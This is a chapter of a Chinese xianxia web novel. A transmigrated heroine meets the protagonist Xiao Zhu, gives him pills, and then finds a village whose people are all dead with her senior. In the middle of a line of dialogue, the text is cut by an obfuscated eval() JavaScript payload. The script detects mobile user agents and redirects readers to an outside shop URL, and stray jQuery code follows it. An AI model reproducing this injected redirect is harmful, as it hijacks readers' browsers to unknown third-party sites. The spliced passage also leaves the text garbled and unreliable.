“姜小姐!”

    去找萧渚路上,有男人叫她。

    她见对方面色实在眼熟,又想不起来在哪见过,只好实话实说:“你是?”

    “在下萧峥。”男子拱手,“昔日龙虎山曾远远见过万象宗飞船,那气派,在下一直难忘。”

    姜一想起来他像谁了,应该是萧渚那个同父异母的哥哥,萧家年轻一辈的翘楚,炼气大圆满,据说再过两年就能筑基,是萧澹的心头肉。突然反应过来,萧峥好像是私生子来着。她并不清楚是个什么事,也对此没兴趣。

    反正最后的结果不过死于萧渚剑下。

    作者压抑了好几章,最后来这么一下,姜一记得自己当时看到可起劲了。

    不过说到龙虎山,那也是原身的黑历史之一。

    龙虎山论剑,没错,原身之前是使剑的,龙虎山一招之差输给新来的小师妹后,道心不稳,修为从此停滞不前,剑心不再,还拿了那年的最后一名,甚至不眠谷那个无法引灵入体的废物都在她前面,使万象玄宗沦为笑柄。

    后来转为用刀,本想宗门大比上一雪前耻,然后就被打爆了……

    宗门上下本就对她有怨言,这次更是忍不了,纷纷扬言让她滚出内门。

    姜一认真从记忆里找了找,其实原身也没有怎样过分争对小师妹了,无非忮忌她进步,暗中诋毁过几句。

    原身还是年轻,她想,这不跟上学一个道理,有人就是聪明,一学就会。不过这种人只是少数。如果早早认清自己就是个普通人话……唉,谁又肯心甘呢。

    “你是龙虎山的?”姜一问,龙虎山她知道,是个好地方。

    “正是。”萧峥笑着说,“久仰姜一小师姐英姿,不知小师姐是否有空与我切磋一把?”

    女孩汗颜,也不知道外面传她是好是坏。

    况且她才穿越没多久,虽刻苦钻研,由于对原身灵力招式都不太熟悉,万一使错了…多一事不如少一事。

    “萧公子。”她指了指自己纱布包裹的脚腕,“我伤口未愈,确实不太方便。”

    萧峥笑容不变,语气略带深意:“是萧某唐突。不过当年龙虎山论剑,姜小姐那一剑,可让萧某收益匪浅。”

    哟,目的在这,激她应战呢。

    如果是原先的姜一,说不定应了。萧峥在萧家这种边城小族是金子,但放眼修仙界,像他这样的金子比比皆是,连未失去剑心的姜一都比他天赋好。

    他当然不想泯灭众人,她姜一再怎么说也是万象宗内门弟子,要是能打败她,传出去……

    姜一叹了口气。

    果然,天下乌鸦一般黑。

    “等我伤好了再说吧。”

    她转身就走,走了两步,又停下来:

    “对了,萧渚住哪个院子?”

    “他啊——

    住柴房边上那间。”萧峥的声音从身后传出,语气里满是轻蔑。

    “姜小姐若是找他,在下可以带路。”

    “不用,我自己去。”她摆摆手。

    眼见周围环境越来越荒芜,姜一边走边感慨:“这要是不当主角,萧渚这小子这辈子就完蛋了!”

    走了没多远,就闻到了一股烟味,像潮湿后风干的腐木阴暗腐朽的味道,并不好闻。

    顺着味道拐进一条小巷,尽头是一间矮趴趴的土坯房,门板漏风,屋顶的茅草稀稀拉拉,积雪压得吱呀作响。

    这就是萧家嫡子的院子。

    姜一想到原著里,萧渚母亲好像大有来头,具体是什么她记不清了,毕竟只是她睡前读物,光顾着爽就完了。

    唉,果然没娘的孩子像根草,她摇了摇头,正准备敲门。

    萧渚此时正在房间里打坐,虽然四周破败不堪,没有一间完整挡风的墙。

    但这毕竟是他生活了五年的,所谓的“家”。

    感受到身体经络里源源不断流动的灵力,他缓缓睁开眼,神色带上几分不易察觉的欣喜。

    成了,练气后期。

    他从怀里拿出一支簪子,目光流露出一丝怀念。当时退婚场面那样难看,他何尝不知道这是萧澹那老不死的为他设下的一场鸿门宴。

    但他还是要去,一是赌这枚玉簪是否在姜一手中,二是他现在还太弱小,不得不暂时蛰伏。

    姜一站在门口,抬起手正要敲门,忽然顿住了。

    等等。

    她用什么理由来跟萧渚套近乎呢?两人压根就不熟啊?更何况自己还千里迢迢跑来退婚,在萧府会客厅又整那么一遭,萧渚那语气,摆明了不想跟她有任何关系……

    姜一迅速改变策略,人啊,能力好不如投胎好,投胎要是不行,抱个大腿也是一样的。反正仙途漫漫,跟着主角准没错。

    她正想得出神,门忽然从里面打开了。

    少年站在门口,披着一件打了补丁的旧棉袍,脸上还肿着,眉骨的伤口结了薄薄一层血痂。

    他看到姜一,明显愣了一下,语气里带着丝不易察觉的警惕。

    “……姜姑娘,有事?”

    姜一摆手,露出一个颇为尴尬的微笑。

    “嗨!?”

    女孩悻悻放下手,在对方警觉视线里,往他身后望。

    “那个……我就是路过来着,路过……你的伤怎么样?”

    萧渚沉默了一瞬,淡淡道:“死不了。”

    蠢货,这是萧渚对姜一的评价,蠢到心里想的根本藏不住。

    无论她是来羞辱他……还是看出了什么,恐怕都留不得了。

    萧渚身后的手偷偷运气,准备先发制人,杀了姜一。虽然会带来大麻烦,但比起等着对方出手,他更希望先机掌握在自己手里。

    破败的土坯房,四面漏风,墙角堆着几捆柴,一张木板搭的床,床上铺着薄薄的旧棉絮。

    过的比自己想象中还差,姜一咋舌。

    他能活到这个年纪还挺牛逼的。

    她顿时心软,看向少年的目光带上些慈爱。

    “这是一枚蕴灵丹,还有一些聚气丹,”女孩像个仓鼠一样从空间袋里掏出大量物资递给萧渚。

    她想好了,这叫投资。

    杀人夺宝,她没那个胆子,万一不成,自己就是得罪了男主。但如果在男主还未成长起来时给予他帮助,男主就会一直记得你的好,他萧渚将来功成名就了,你也能借他名气在这修仙界稳稳养老。

    天才,她真觉得自己。

    萧渚看着眼前满满当当的宝贝,眉梢微挑,眼前这个女人,在讨好他?

    这些东西对姜一来说并不稀罕,万象玄宗每月都发,就一些基础的,但放在萧城这种地方,这么大量的聚气丹,也足以惹得一众人眼红,更何况还有一枚筑基必备的蕴灵丹。

    他抬眼,看向姜一。

    面前女孩脸上满是殷勤。

    “姜姑娘。”他声音平淡,“你这是做什么?”

    姜一早想好了措辞:“即使我与你的婚约已解,但是我俩缘分还在,我是真拿你当弟弟看待的。”

    骗人,萧渚想,真要拿他当家人,怎会一连经年连封信也不曾寄,这其中必定有鬼。

    姜一见他久久未动,催促道:“愣着干嘛?快收下啊,待会儿被人看见了。”

    她急得把东西往萧渚怀里塞,“尤其是那个萧峥,一看就不是个好人,你藏好了别被发现。”

    手指在将碰上的刹那,少年侧身避开,“姜小姐,请自重。”

    姜一悻悻收回手,“哈哈差点忘了男女授受不亲,我给你放一旁,你自己拿啊。”她将东西都放在地上,然后飞快逃跑。

    “时间也不早了我先走了了再也呸不是,再见!”

    萧渚看着那道落荒而逃的背影,消失在雪幕里。一堆价值不凡的资源被她随随便便往地上一放,她图什么?萧渚始终想不明白。

    萧渚不知道她用什么办法看出来自己能修炼了,但是无论如何,他都还只是一个炼气后期的路边一条,他实在想不明白。

    萧府不能呆了,他暗自想,不论姜一目的是什么,自己能修炼的事一旦暴露,萧澹第一个留不得他。

    更何况自己现在有了这枚簪子。

    他攥紧手中物品,骨节分明的手指死死用力。

    ……

    姜一走的急,不然还想再去萧渚那里刷刷好感度。

    御剑飞行,她第一次对穿越异世有了彻底的认知,这真的是……太疯狂了!

    “静心。”谢临舟飞了一半折返回来,看她踩着刀歪歪扭扭,望子不成龙的叹了口气。

    “先前忘记问了,师妹心疾可有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525443|203468||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    所好转。”其实所谓心疾,无非就是她忌忮心太强,看见比自己强的心里不爽,不宜修行,才谎称心疾。

    “嗯……恢复了一些。”姜一乱扯,“许是因为这个,最近灵力运转有些堵塞。”

    “原来如此。”谢临舟恍然大悟,“我就说以姜师妹的能量,不至于此。师妹若是不舒服,可同我一起。”他发出邀请。

    姜一不好意思笑笑,“不用了吧。”

    她不想继续聊这个,连忙转移话题:“师兄,那个作乱的妖魔是什么来头?任务上说得很含糊。”

    谢临舟收回目光,看向前方茫茫雪原。

    “说是妖魔,其实未必。”他说,“萧城这种边陲小地,离不周山不过三百里,真要有大妖作乱,守关的修士不会坐视不理。”

    “不周山?”

    “你修行修魔怔了?”谢临舟看了她一眼,“上古大战后,人族与妖魔划界而治,大陆一分为二,独留不周山镇守两界通道。萧城离不周山不过三百里,算是边境重城。”

    姜一脑子飞速旋转,原来如此,不周山在原主记忆只是寥寥几笔带过,这座天下第一山,传闻能沟通上界,是修士飞升之地。

    “这次多半是些小妖作乱。”谢临舟道,“但既然宗门下令,总得去看看。”

    姜一却不这么想,能动用宗门首席弟子的任务,不见得只是为了打杂散心。

    这部分原著里没讲,想来不重要,反正最后女配是平安回去了。

    应该出不了多大问题,她想。

    “到了。”不知飞行多久,谢临舟的声音从玉佩里传来。

    姜一艰难操纵着脚下佩刀,“砰!”一不留神,从半米高空掉下来,摔了个屁墩。

    “我的老天奶啊!”

    姜一径直落进一户人家的花园里,吃了满嘴的花蜜,抬头看,谢临舟站在剑上,抱臂斜眼看她。

    “不行啊师妹,看来回去得加练了。”

    她默不作声,抱着刀爬起来,打量四周。

    这是个不大的村子,百来户,四周种满桃树,炊烟袅袅,落英缤纷,俨然一副世外桃源景象。

    不过她方才落地动静那么大,周围静悄悄一点动静也没有,连狗吠都不曾有一声。

    不对劲,谢临舟进屋转了一圈,出来面色凝重。

    “床上躺着一家三口,都没气了,但身体没有明显伤口。”

    姜一指着一旁鸡圈,“这也是。”

    两人接连走遍村落每一家,不曾发现活口。

    “看样子像是屠村了。”她说。

    姜一脸色有些苍白,穿越前她还连血都不怎么见过,突然间见到这么多死人,即使没有鲜血淋漓来的冲击,但是心理难免不适。

    “外界是冬天,而这里万物生机勃发,明显是有阵法支撑,走,找阵眼去。”谢临舟环顾一圈,判断道。

    姜一点头,紧跟上他的脚步。

    两人穿过村中石板路,两侧屋舍门口还晾着未收的衣裳,有的灶台里甚至燃着余火,生活仿佛正在某一刻被骤然定格。

    路边垂柳生的极好,姜一刚想夸两句,就看见一只柳条伸出苍翠柳枝向谢临舟袭去。

    “小心。”

    剑光一闪,那根柳条齐根断落,掉在地上抽搐了两下,流出殷红的汁液——像血。

    “柳树成精?”姜一警惕地环顾四周。

    “不是精。”谢临舟蹲下,捻起那截断枝看了看,“是被人用灵力催生出来的。看这切口,至少是金丹期的灵力残留。”

    金丹期?那不跟谢临舟一个境界?姜一略微放心,就是不知那金丹是一个还是几个了。

    “阵眼应该就在前面。”谢临舟起身,目光望向村子深处,“这柳树是守阵的,越靠近阵眼,这种东西该越多。”

    果然,越往村子中心,路边的植物越“活跃”。

    有二话不说上来攻击的,也有扮作人畜无害等他们靠近打一个措不及防的……

    “有毒。”姜一袖子上被腐蚀几个大洞,颇狼狈。

    “这阵法制造者还挺有意思的。”

    谢临舟背手站在一旁,有种仙风道骨的感觉。一路上除了那个柳精,他并未出手,似乎有意锻炼姜一的能力。

    站着说话不腰疼,姜一在心里腹诽。